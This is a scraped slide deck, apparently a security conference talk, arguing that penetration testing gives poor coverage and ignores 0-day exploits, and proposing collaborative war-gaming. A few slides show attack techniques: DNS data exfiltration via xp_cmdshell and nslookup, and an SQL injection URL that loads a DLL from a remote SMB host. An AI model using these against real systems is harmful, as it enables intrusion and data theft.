Penetra'on Tes'ng Considered Harmful (haroon@thinkst.com) Who - - PowerPoint PPT Presentation

penetra on tes ng considered harmful
SMART_READER_LITE
LIVE PREVIEW

Penetra'on Tes'ng Considered Harmful (haroon@thinkst.com) Who - - PowerPoint PPT Presentation

Penetra'on Tes'ng Considered Harmful (haroon@thinkst.com) Who i am.. (& Why this talk?) haroon@thinkst.com Some Tools Some Papers Some Books So ? Some


slide-1
SLIDE 1

Penetra'on ¡Tes'ng ¡ Considered ¡Harmful

(haroon@thinkst.com)

slide-2
SLIDE 2

Who ¡i ¡am.. ¡ (& ¡Why ¡this ¡talk?)

slide-3
SLIDE 3
  • ¡haroon@thinkst.com ¡
  • ¡Some ¡Tools
  • ¡Some ¡Papers
  • ¡Some ¡Books
slide-4
SLIDE 4

So ¡?

slide-5
SLIDE 5

Some ¡Experience ¡with:

  • Pen-­‑Tes'ng;
  • Teaching ¡Pen-­‑Tes'ng;
  • Recrui'ng ¡Pen-­‑Testers;
  • Tes'ng ¡Pen-­‑Testers.
slide-6
SLIDE 6

“we ¡are ¡doing ¡it ¡wrong”

slide-7
SLIDE 7

“Our ¡Upcoming ¡Security ¡Apocalypse”

http://blog.thinkst.com/2011/03/our-upcoming-security-apocalypse.html

slide-8
SLIDE 8
  • Impending Crisis
  • 1990‘s
  • 2000’s,
  • T
  • day

http://blog.thinkst.com/2011/03/our-upcoming-security-apocalypse.html

slide-9
SLIDE 9

“Mission ¡Accomplished”

slide-10
SLIDE 10

Boards ¡Just ¡Don’t ¡know

slide-11
SLIDE 11

That ¡we ¡don’t ¡have ¡it ¡under ¡ control..

slide-12
SLIDE 12

That ¡mostly: We ¡Just ¡hoping ¡it ¡doesn’t ¡ happen ¡on ¡our ¡watch...

slide-13
SLIDE 13

Board ¡_is_ ¡doing ¡something

slide-14
SLIDE 14
  • ¡Money ¡Changes ¡Hands;
  • ¡Surface ¡Level ¡Checks ¡& ¡Balances.
slide-15
SLIDE 15

But ¡we ¡haven’t ¡been ¡ hacked ¡yet ¡? It’s ¡worked ¡for ¡us ¡so ¡far.

http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html

slide-16
SLIDE 16

“every ¡day ¡that ¡goes ¡by ¡without ¡ something ¡like ¡that ¡happening ¡makes ¡ it ¡more ¡likely ¡that ¡it ¡never ¡will”

http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html

slide-17
SLIDE 17

“..what ¡it ¡does ¡most ¡assuredly ¡ do ¡is ¡make ¡it ¡more ¡surprising ¡ when ¡it ¡does ¡come”

http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html

slide-18
SLIDE 18

Simple ¡Test

slide-19
SLIDE 19

We ¡have ¡a ¡general ¡problem ¡in ¡infosec. We ¡pitched ¡pen-­‑tests ¡as ¡a ¡solu'on.

slide-20
SLIDE 20

We ¡have ¡a ¡general ¡problem ¡in ¡infosec. We ¡pitched ¡pen-­‑tests ¡as ¡a ¡solu'on.

We ¡now ¡have ¡2 ¡problems.

slide-21
SLIDE 21
slide-22
SLIDE 22

Quick ¡Kills: ¡ ¡ ¡ -­‑ ¡Limited ¡Scopes ¡ ¡ ¡ -­‑ ¡Lame ¡Pen-­‑Testers ¡ ¡ ¡ -­‑ ¡Testers ¡Op-­‑Sec

slide-23
SLIDE 23

zf0

There ¡but ¡for ¡the ¡grace ¡of ¡god?

slide-24
SLIDE 24

I’m ¡saying, ¡even ¡with:

  • ­‑Full ¡Scope;
  • ­‑ ¡Elite ¡Testers;

Pen-­‑Tes'ng ¡shouldn’t ¡be ¡your ¡first ¡Choice!

* ¡Caveat

slide-25
SLIDE 25

* ¡Caveat

  • ­‑ ¡Tes'ng ¡Response;
  • ­‑ ¡Require ¡a ¡binary ¡answer;
slide-26
SLIDE 26

Quick ¡Poll

slide-27
SLIDE 27

Conducted ¡a ¡Pen-­‑Test ¡in ¡ the ¡past ¡2 ¡years ¡?

slide-28
SLIDE 28

How ¡many ¡0-­‑days ¡would ¡I ¡ need ¡to ¡access ¡your ¡crown ¡ jewels?

slide-29
SLIDE 29

Most ¡Common ¡Answer: ¡?

slide-30
SLIDE 30

Most ¡Common ¡Answer: ¡1

slide-31
SLIDE 31

Really ¡?

slide-32
SLIDE 32

0-­‑day ¡& ¡Pen-­‑Tests

slide-33
SLIDE 33

0-­‑day Overplayed ¡by ¡those ¡who ¡can; Underplayed ¡by ¡those ¡who ¡can’t; (almost ¡completely ¡inadequately ¡considered ¡by ¡*)

slide-34
SLIDE 34

We ¡don’t ¡need ¡0-­‑day ¡to ¡ break-­‑in!

slide-35
SLIDE 35

We ¡don’t ¡need ¡0-­‑day ¡to ¡ break-­‑in! The ¡point ¡wasn’t ¡just ¡to ¡see ¡ how ¡_you_ ¡would ¡break-­‑in!

slide-36
SLIDE 36

Do ¡aeackers ¡use ¡it ¡?

slide-37
SLIDE 37
slide-38
SLIDE 38

Opera'on ¡Aurora

slide-39
SLIDE 39
slide-40
SLIDE 40

HBGary

slide-41
SLIDE 41

HBGary ¡-­‑>

slide-42
SLIDE 42
slide-43
SLIDE 43
slide-44
SLIDE 44
slide-45
SLIDE 45

Doesn’t ¡have ¡to ¡be ¡that ¡ expensive.. (aka: ¡how ¡to ¡price ¡a ¡0day)

slide-46
SLIDE 46

http://securityevaluators.com/files/papers/0daymarket.pdf

Charlie ¡Miller

slide-47
SLIDE 47

http://securityevaluators.com/files/papers/0daymarket.pdf

0Day ¡-­‑ ¡payDay

slide-48
SLIDE 48

http://securityevaluators.com/files/papers/0daymarket.pdf

0day ¡-­‑ ¡Variance

slide-49
SLIDE 49
slide-50
SLIDE 50

DDZ ¡reduces ¡this..

http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf

slide-51
SLIDE 51

$5k ¡< ¡x ¡< ¡$10k ¡?

slide-52
SLIDE 52

What ¡else ¡can ¡we ¡learn ¡ from ¡Pwn-­‑2-­‑Own ¡?

slide-53
SLIDE 53

ThinkstScapes - AdHoc Update TAH02

slide-54
SLIDE 54

The ¡Browser ¡as ¡the ¡Weakest ¡Link

slide-55
SLIDE 55

So ¡when ¡last ¡has ¡a ¡ vulnerable ¡browser ¡shown ¡ up ¡in ¡your ¡pen-­‑test ¡report?

slide-56
SLIDE 56

ms08-­‑067 ¡vs ¡current ¡flash ¡ version?

slide-57
SLIDE 57

What ¡JailBreakers ¡Teach ¡Us

http://en.wikipedia.org/wiki/History_of_iOS_jailbreaking

slide-58
SLIDE 58

All ¡of ¡this ¡means ¡that ¡if ¡we ¡ are ¡failing ¡to ¡consider ¡0day, ¡ we ¡are ¡just ¡ignoring ¡reality.

slide-59
SLIDE 59

Aitel ¡says: ¡about ¡451 ¡hours ¡ to ¡create ¡a ¡good ¡0day ¡ exploit

slide-60
SLIDE 60

Crea'ng ¡an ¡0day ¡per ¡ engagement ¡is ¡unlikely

slide-61
SLIDE 61

..and ¡s'll ¡doesn’t ¡solve ¡the ¡ problem.

slide-62
SLIDE 62
slide-63
SLIDE 63
slide-64
SLIDE 64
slide-65
SLIDE 65
slide-66
SLIDE 66

How ¡big ¡is ¡your ¡0day ¡ arsenal?

slide-67
SLIDE 67

?

slide-68
SLIDE 68

? ?

slide-69
SLIDE 69

? ? ?

slide-70
SLIDE 70

Again: If ¡we ¡are ¡going ¡to ¡simulate ¡the ¡(real) ¡ threat, ¡we ¡_have_ ¡to ¡consider ¡0day. (How ¡do ¡we ¡defend ¡against ¡this?)

slide-71
SLIDE 71

These ¡days ¡we ¡just ¡ simulate ¡other ¡pen-­‑testers..

slide-72
SLIDE 72

Professional ¡Pen-­‑Testers..

slide-73
SLIDE 73

DNS ¡Extrusion ¡-­‑ ¡“Useful”

slide-74
SLIDE 74

DNS ¡Extrusion ¡-­‑ ¡“Useful”

nslookup moooooo.thinkst.com

slide-75
SLIDE 75

DNS ¡Extrusion ¡(07)

Inspired by Sec-1 - Automagic SQL Injector.. 1.Extract data (sql query / xp_cmdshell / etc) 2.Store into new table 3.Do some very ugly T-SQL to iterate through each line, encode all results and make them dns Friendly. 4.Call xp_cmdshell(“nslookup random_company.com”) 5.Sniff Results --> Profit!

http://www.sensepost.com/research/squeeza/

slide-76
SLIDE 76

http://www.sensepost.com/research/reduh/

slide-77
SLIDE 77

hep://vic'm2k3.tst.com/login.asp? ¡username=boo&password =boo'%20CREATE%20ASSEMBLY%20moo%20FROM%20'\ \196.31.150.117\temp_smb\moo.dll'—

slide-78
SLIDE 78
  • 1. ¡File.open("moo.dll”,"rb").read().unpack("H*")

== ¡["4d5a90000300000004000000ffff0......] ¡

  • 2. ¡CREATE ¡ASSEMBLY ¡moo ¡FROM ¡0x4d5a90000300....
slide-79
SLIDE 79
slide-80
SLIDE 80

This ¡is ¡a ¡classic ¡example ¡of “Draining ¡the ¡Swamp”

slide-81
SLIDE 81

We ¡are ¡focusing ¡on ¡ figh'ng ¡the ¡Alligators. (We ¡are ¡great ¡at ¡it!)

slide-82
SLIDE 82

A ¡problem ¡we ¡keep ¡bumping ¡ into: ¡Coverage

slide-83
SLIDE 83

Let’s ¡look ¡at ¡an ¡example:

slide-84
SLIDE 84

0day ¡Crew

slide-85
SLIDE 85

SQLi ¡-­‑ ¡Pass ¡ReUse

slide-86
SLIDE 86

Phishing

slide-87
SLIDE 87

All ¡3 ¡would ¡be ¡good ¡ pen-­‑test ¡results

slide-88
SLIDE 88

Possible ¡to ¡be ¡perfectly ¡pleased, perfectly ¡pwned, and ¡s'll ¡perfectly ¡pwnable!

slide-89
SLIDE 89

Pen-­‑Tes'ng ¡Companies

a ¡“market ¡for ¡lemons”

http://hydrogen.its.ucdavis.edu/eec/education/EEC-classes/eeclimate/ class-readings/akerlof-the%20market%20for%20lemons.pdf

slide-90
SLIDE 90

For Sale

slide-91
SLIDE 91

For Sale (Customer View)

? ? ? ? ? ? ?

slide-92
SLIDE 92

For Sale

slide-93
SLIDE 93

For Sale

slide-94
SLIDE 94

For Sale

slide-95
SLIDE 95
  • ¡Incomplete ¡coverage;
  • ¡Avoid ¡the ¡0day ¡ques'on;
  • ¡Avoiding ¡highly ¡likely ¡aeacks;
  • ¡Misaligned ¡Goals;
  • ¡Market ¡for ¡Lemons...
slide-96
SLIDE 96

So ¡why ¡are ¡we ¡s'll ¡doing ¡it?

slide-97
SLIDE 97
  • ¡It’s ¡easy ¡(these ¡days) ¡to ¡sell;
  • ¡It ¡feels ¡like ¡we ¡are ¡doing ¡something;
  • ¡It ¡delivers ¡a ¡result.

(even ¡if ¡its ¡a ¡ques=onable ¡one)

slide-98
SLIDE 98

Hill ¡Climbing ¡Problem..

slide-99
SLIDE 99

Alterna'ves?

slide-100
SLIDE 100

http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines

slide-101
SLIDE 101

http://www.microsoft.com/security/sdl/adopt/eop.aspx

slide-102
SLIDE 102

Pen-­‑Test ¡by ¡Visio

slide-103
SLIDE 103

The ¡map ¡is ¡not ¡the ¡ territory!

slide-104
SLIDE 104

If ¡we ¡must ¡do ¡it: We ¡can’t ¡remove ¡the ¡ requirement ¡for

  • perator ¡skill
slide-105
SLIDE 105

but ¡we ¡should ¡aim ¡to ¡ maximize ¡the ¡benefit ¡of ¡ their ¡'me..

slide-106
SLIDE 106

We ¡have ¡to ¡move ¡from ¡purely ¡ adversarial ¡/ ¡hos'le to Collabora've

slide-107
SLIDE 107

We ¡made ¡this ¡jump ¡in ¡ app-­‑tes'ng ¡too

slide-108
SLIDE 108

Nessus ¡| ¡Dir ¡Buster ¡| ¡Wikto

slide-109
SLIDE 109

Won’t ¡work ¡to ¡get ¡too ¡ friendly ¡/ ¡paper ¡based

slide-110
SLIDE 110

Gamifica'on ¡?

slide-111
SLIDE 111

Not This Gamification!

slide-112
SLIDE 112

Also ¡not ¡this ¡sort ¡of ¡gamifica'on..

Achievement Unlocked

Stayed Awake So Far

slide-113
SLIDE 113

Collabora've ¡War-­‑Gaming

slide-114
SLIDE 114

Who ¡is ¡your ¡likely ¡opponent ¡?

slide-115
SLIDE 115

What ¡is ¡your ¡data ¡worth ¡?

http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf

slide-116
SLIDE 116

If ¡we ¡agree ¡that ¡our ¡opponents ¡will ¡spend ¡$100k ¡ to ¡get ¡our ¡data.. ¡ We ¡agree ¡that ¡reliable ¡0day ¡exploits ¡can ¡be ¡ bought ¡for ¡$20k I ¡get ¡5 ¡x ¡0-­‑day ¡Cards

slide-117
SLIDE 117

Cards ¡may ¡be ¡played ¡at ¡any ¡'me.. I ¡say: ¡“Here’s ¡a ¡Card, ¡There’s ¡Server-­‑X, Give ¡me ¡Win2k3, ¡SP2” You ¡give ¡me ¡console ¡access ¡to ¡the ¡Server.

slide-118
SLIDE 118

Retains ¡pen-­‑test ¡ serendipity

slide-119
SLIDE 119

A ¡few ¡other ¡cards ¡seem ¡ reasonable

slide-120
SLIDE 120

Unlimited ¡Pivot & Tunnel ¡Cards

slide-121
SLIDE 121

Will ¡it ¡make ¡pen-­‑tests ¡less ¡ fun?

slide-122
SLIDE 122

Probably...

slide-123
SLIDE 123

Some ¡will ¡s'll ¡say: ¡ “prove ¡it”

slide-124
SLIDE 124

Allows ¡us ¡to ¡widen ¡scope ¡ considerably.

slide-125
SLIDE 125

Allows ¡us ¡to ¡focus ¡on ¡ possibili'es ¡beyond ¡our ¡ favorite ¡toolset.

slide-126
SLIDE 126

Ends ¡up ¡with ¡a ¡more ¡ informed ¡client..

slide-127
SLIDE 127

Do ¡we ¡really ¡need ¡to ¡ change?

slide-128
SLIDE 128

We ¡are ¡in ¡this ¡awkward ¡spot: Need ¡the ¡funds, ¡ but ¡need ¡to ¡speak ¡truth ¡to ¡power

slide-129
SLIDE 129

Honesty?

slide-130
SLIDE 130

We ¡are ¡just ¡not ¡helping..

slide-131
SLIDE 131

Pen-­‑Test ¡will ¡be ¡the ¡new ¡AV

slide-132
SLIDE 132

So..

slide-133
SLIDE 133

If ¡you ¡sell ¡pen-­‑tests Let’s ¡make ¡sure ¡the ¡customer ¡really ¡ needs ¡one. “We ¡need ¡to ¡sell ¡them ¡what ¡they ¡ need, ¡not ¡what ¡they ¡think ¡they ¡want”

slide-134
SLIDE 134

If ¡you ¡buy ¡pen-­‑tests Ques'on ¡the ¡mo'ves ¡of ¡a ¡ company ¡that ¡sells ¡you ¡one ¡ without ¡more ¡thought..

slide-135
SLIDE 135

If ¡you ¡think ¡you ¡have ¡smarts Let’s ¡start ¡thinking ¡hard ¡again ¡ about ¡the ¡problem ¡that ¡needs ¡ solving (cause ¡we ¡need ¡a ¡reset ¡here)

slide-136
SLIDE 136

Reset ¡beat ¡local-­‑maxima

slide-137
SLIDE 137

haroon@thinkst.com hep://blog.thinkst.com @haroonmeer Ques'ons?